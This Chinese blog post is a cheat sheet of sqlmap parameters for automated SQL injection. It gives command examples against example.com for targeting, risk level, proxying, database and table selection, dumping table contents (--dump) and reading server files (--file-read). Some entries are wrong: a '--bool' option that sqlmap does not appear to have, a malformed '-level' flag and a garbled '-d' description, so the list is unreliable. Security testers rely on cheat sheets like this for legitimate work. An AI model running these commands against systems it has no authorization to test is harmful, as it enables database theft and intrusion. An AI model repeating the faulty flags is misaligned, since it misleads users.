sqlmap常用参数及示例

关注开源优测不迷路

大数据测试过程、策略及挑战

测试框架原理,构建成功的基石

在自动化测试工作之前,你应该知道的10条建议

在自动化测试中,重要的不是工具

以下是 sqlmap 的一些常用 API(参数)及其示例用法:

sqlmap 常用参数列表

目标设定
- -d: 针对一个数据库管理系统的用户提供的 SQL 语句。
  sqlmap -d "mssql://sa:password@localhost/DataBase?driver=SQL+Server"
  • -r: 从一个文件中读取 HTTP 请求。

    sqlmap -r request.txt

测试范围和选项

  • -u: 目标 URL。

    sqlmap -u "http://example.com/index.php?id=1"
  • --risk: 设置测试的风险等级(1-3)。

    sqlmap -u "http://example.com/index.php?id=1" --risk=3
  • -level: 设置测试的技术水平(1-5)。

    sqlmap -u "http://example.com/index.php?id=1" --level=2

配置选项

  • --dbms: 指定后端数据库的类型(如 mysqlmssql 等)。

    sqlmap -u "http://example.com/index.php?id=1" --dbms=mysql
  • --user-agent: 指定 User-Agent 字符串。

    sqlmap -u "http://example.com/index.php?id=1" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
  • --proxy: 使用 HTTP 代理。

    sqlmap -u "http://example.com/index.php?id=1" --proxy="http://127.0.0.1:8080"

性能选项

  • --delay: 两次请求之间的延迟时间。

    sqlmap -u "http://example.com/index.php?id=1" --delay=5
  • --threads: 定义并发线程的数量。

    sqlmap -u "http://example.com/index.php?id=1" --threads=5

布尔盲注

  • --bool: 强制使用布尔盲注。

    sqlmap -u "http://example.com/index.php?id=1" --bool

数据获取

  • -D: 指定数据库名称。

    sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase
  • -T: 指定表名。

    sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase -T yourTable
  • -C: 指定列名。

    sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase -T yourTable -C yourColumn

操作选项

  • --dump: 转储数据库表的内容。

    sqlmap -u "http://example.com/index.php?id=1" --dump
  • --file-read: 从数据库中读取文件。

    sqlmap -u "http://example.com/index.php?id=1" --file-read="path/to/your/file"

其他

  • -v: 详细模式,显示更多信息。

    sqlmap -u "http://example.com/index.php?id=1" -v
  • -h: 显示帮助信息。

    sqlmap -h
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值